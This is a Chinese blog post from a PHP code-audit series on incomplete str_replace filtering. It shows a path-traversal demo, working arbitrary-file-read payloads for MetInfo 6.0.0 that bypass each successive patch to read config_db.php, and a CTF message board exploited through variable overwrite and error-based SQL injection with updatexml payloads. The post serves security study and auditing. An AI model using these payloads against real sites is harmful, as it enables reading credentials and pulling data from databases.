S1xHcL's Blog.

PHP-Audit-Day09-str-replace-函数过滤不当

Word count: 2.4kReading time: 12 min
2022/04/03 Share

函数学习

str_replace :(PHP 4, PHP 5, PHP 7)

功能 :子字符串替换

定义mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

该函数返回一个字符串或者数组。如下:

str_replace(字符串1,字符串2,字符串3):将字符串3中出现的所有字符串1换成字符串2。

str_replace(数组1,字符串1,字符串2):将字符串2中出现的所有数组1中的值,换成字符串1。

str_replace(数组1,数组2,字符串1):将字符串1中出现的所有数组1一一对应,替换成数组2的值,多余的替换成空字符串。

Demo学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class LanguageManager
{
public function loadLanguage()
{
$lang = $this->getBrowserLanguage();
$sanitizedLang = $this->sanitizeLanguage($lang);
if(file_exists("./lang/$sanitizedLang")){
require_once("./lang/$sanitizedLang");
}
}

private function getBrowserLanguage()
{
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] :'en';
return $lang;
}

private function sanitizeLanguage($language)
{
return str_replace('../', '', $language);
}
}

$manage = new LanguageManager();
$manage->loadLanguage();
show_source(__FILE__);

第15行中,获取请求头中的Accept-Language字段值修改为en赋值给$lang,在第21行使用str_replace()函数替换$lang中的../为空。但过滤不完整,可以用..././或者....//双写绕过。然后通过require_once()文件包含。

在根目录设置flag.txt文件,内容为123

1
2
3
GET /php/day9/demo.php HTTP/1.1
Host: 127.0.0.1
Accept-Language: ..././..././flag.txt

案例分析

案例选取为 Metinfo 6.0.0 版本,漏洞点在 /app/system/include/module/old_thumb.class.php 中存在任意文件读取漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class old_thumb extends web{

public function doshow(){
global $_M;

$dir = str_replace(array('../','./'), '', $_GET['dir']);


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

第6行$dir参数先经过str_replace()函数过滤其中的.././,这里可以通过复写进行绕过,例如..././....///

但在第9行中,substr()函数判断字符串前4位是否为http

1
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)

又使用了strpos()函数查找$dir./首次出现的位置,禁止使用../跨目录了,而在Windows环境中,可以使用..\进行跨目录。绕过限制后,通过readfile()读文件。Payload为:

1
dir=http\..\..\config\config_db.php

接下来寻找哪里调用该文件,全局搜索old_thumb发现 /include/thumb.php 文件中调用old_thumb类。

1
2
3
4
5
6
<?php
define('M_NAME', 'include');
define('M_MODULE', 'include');
define('M_CLASS', 'old_thumb');
define('M_ACTION', 'doshow');
require_once '../app/system/entrance.php';

在这个文件中,M_CLASS定义为old_thumbM_ACTION定义为doshow,接着跟进到 /app/system/entrance.php 中,在文件末尾包含 /app/system/include/class/load.class.php 文件,引入load类,调用类中的module方法。

1
2
3
4
5
6
7
<?php
...
//系统类根目录
define ('PATH_SYS_CLASS', PATH_WEB."app/system/include/class/");
...
require_once PATH_SYS_CLASS.'load.class.php';
load::module();

查看load.class.phpmodule方法

1
2
3
4
5
6
7
8
9
public static function module($path = '', $modulename = '', $action = '') {
if (!$path) {
if (!$path) $path = PATH_OWN_FILE;
if (!$modulename) $modulename = M_CLASS;
if (!$action) $action = M_ACTION;
if (!$action) $action = 'doindex';
}
return self::_load_class($path, $modulename, $action);
}

其中M_CLASSold_thumbM_ACTIONdoshow,继续跟进_load_class方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private static function _load_class($path, $classname, $action = '') {
$classname=str_replace('.class.php', '', $classname);
$is_myclass = 0;
if(!self::$mclass[$classname]){
if(file_exists($path.$classname.'.class.php')){
require_once $path.$classname.'.class.php';
} else {
echo str_replace(PATH_WEB, '', $path).$classname.'.class.php is not exists';
exit;
}
...
}
if ($action) {
if (!class_exists($classname)) {
...
}else{
if($is_myclass){
$newclass = new $myclass;
}else{
$newclass = new $classname;
}
self::$mclass[$classname] = $newclass;
}
if ($action!='new') {
if(substr($action, 0, 2) != 'do'){
die($action.' function no permission load!!!');
}
if(method_exists($newclass, $action)){
call_user_func(array($newclass, $action));
}else{
die($action.' function is not exists!!!');
...

在第6行中拼接路径包含old_thumb.class.php文件,第20行处实例化old_thumb类对象,在第29行中使用回调函数call_user_func()去执行old_thumb类中的doshow方法,这个方法中的$dir为可控参数。

漏洞复现

数据库配置文件存储在/config/config_db.php中,通过任意文件读取去读数据库账号密码。

1
http://127.0.0.1/MetInfo/include/thumb.php?dir=http\..\..\config\config_db.php

历史绕过

原文:MetInfo 任意文件读取漏洞的修复与绕过

MetInfo 对old_thumb.class.php累计更新4次,本次案例分析为倒数第二次更新,最后一次更新删除掉了这个文件。

原始代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
...
class old_thumb extends web{

public function doshow(){
global $_M;

$dir = str_replace('../', '', $_GET['dir']);

if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
...

复写../进行绕过,第10行中strstr()查找字符串http出现的首次位置,只要包含即可绕过,payload为:

1
?dir=..././http/..././config/config_db.php

第一次绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
...
class old_thumb extends web{

public function doshow(){
global $_M;

$dir = str_replace(array('../','./'), '', $_GET['dir']);

if(strstr(str_replace($_M['url']['site'], '', $dir), 'http')){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
...

更新代码在第8行,现在置空.././,通过复写组合即可绕过,payload为:

1
?dir=.....///http/.....///config/config_db.php

第二次绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
...
class old_thumb extends web{

public function doshow(){
global $_M;

$dir = str_replace(array('../','./'), '', $_GET['dir']);

if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http'){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
...

更新代码在第10行,增加判断$dir开头为http,变换之前的payload进行绕过,,payload为:

1
?dir=http/.....///.....///config/config_db.php

第三次绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
...
class old_thumb extends web{

public function doshow(){
global $_M;

$dir = str_replace(array('../','./'), '', $_GET['dir']);


if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
...

第三次更新为案例分析部分,windows下可用..\进行跨目录,所以此次payload只适用于windows。

1
?dir=http\..\..\config\config_db.php

案例学习

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// index.php
<?php
include 'config.php';
include 'function.php';

$conn = new mysqli($servername,$username,$password,$dbname);
if($conn->connect_error){
die('连接数据库失败');
}

$sql = "SELECT COUNT(*) FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$id = $row['COUNT(*)'] + 1;
}
else die($conn->error);

if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}
echo "<center><h1>Welcome come to HRSEC message board</center></h1>";
echo <<<EOF
<center>
<form action="index.php" method="post">
<p>Leave a message: <input type="text" name="msg" /><input type="submit" value="Submit" /></p>
</form>
</center>
EOF;
$sql = "SELECT * FROM users";
$result = $conn->query($sql);
if($result->num_rows > 0){
echo "<center><table border='1'><tr><th>id</th><th>message</th><tr></center>";
while($row = $result->fetch_row()){
echo "<tr><th>$row[0]</th><th>$row[1]</th><tr>";
}
echo "</table></center>";
}
$conn->close();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// function.php
<?php
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}

function convert($str){
return htmlentities($str);
}

$limit_words = array('造反' => '造**', '法轮功' => '法**');

foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}
?>
1
2
3
4
5
6
7
// config.php
<?php
$servername = "localhost";
$username = "hongrisec";
$password = "hongrisec";
$dbname = "day9";
?>
1
2
3
4
5
6
7
8
9
# 搭建CTF环境使用的sql语句
create database day9;
use day9;
create table users(
id integer auto_increment not null primary key,
message varchar(50)
);
create table flag( flag varchar(40));
insert into flag values('HRCTF{StR_R3p1ac3_anD_sQ1_inJ3ctIon_zZz}');

分析

index.php中接收$msg经过过滤和违禁词替换后写入到数据库中,第18~24为过滤代码。

1
2
3
4
5
6
7
if(isset($_POST['msg']) && $_POST['msg'] !==''){
$msg = addslashes($_POST['msg']);
$msg = replace_bad_word(convert($msg));
$sql = "INSERT INTO users VALUES($id,'".$msg."')";
$result = $conn->query($sql);
if($conn->error) die($conn->error);
}

在第2行中,使用addslashes()转义$msg中的单引号(‘)、双引号(“)、反斜杠(\)和NULL,然后用htmlentities()函数转换HTML实体化,最后在replace_bad_word方法中替换关键词。

1
2
3
4
5
6
7
8
9
function replace_bad_word($str){
global $limit_words;
foreach ($limit_words as $old => $new) {
strlen($old) > 2 && $str = str_replace($old,trim($new),$str);
}
return $str;
}

$limit_words = array('造反' => '造**', '法轮功' => '法**');

使用str_replace()进行替换$limit_words中的关键词,并且要求数组索引长度大于2。

1
2
3
4
5
foreach (array('_GET','_POST') as $method) {
foreach ($$method as $key => $value) {
$$key = $value;
}
}

但在function.php中的第16~20行存在变量覆盖问题。foreach将GET或者POST提交的参数全局变量注册,我们可以注册$limit_words覆盖原有的变量,从而利用str_replace()addslashes()转移'后的\过滤掉,从而插入数据库中造成注入。payload为:

1
2
3
4
POST /php/day9/index.php HTTP/1.1
Host: 127.0.0.1

msg=1%00' and updatexml(1,concat(0x7e,(select flag from flag),0x7e),1))#&limit_words[\0\]=

因为updatexml报错注入最多只能显示32位,可以使用substr函数截取后面的字符串。

1
msg=1%00' and updatexml(1,concat(0x7e,(select substr((select flag from flag limit 1),31,32)),0x7e),1))#&limit_words[\0\]=

CATALOG
  1. 1. 函数学习
  2. 2. Demo学习
  3. 3. 案例分析
    1. 3.1. 漏洞复现
    2. 3.2. 历史绕过
      1. 3.2.1. 原始代码
      2. 3.2.2. 第一次绕过
      3. 3.2.3. 第二次绕过
      4. 3.2.4. 第三次绕过
  4. 4. 案例学习
    1. 4.1. 源码
    2. 4.2. 分析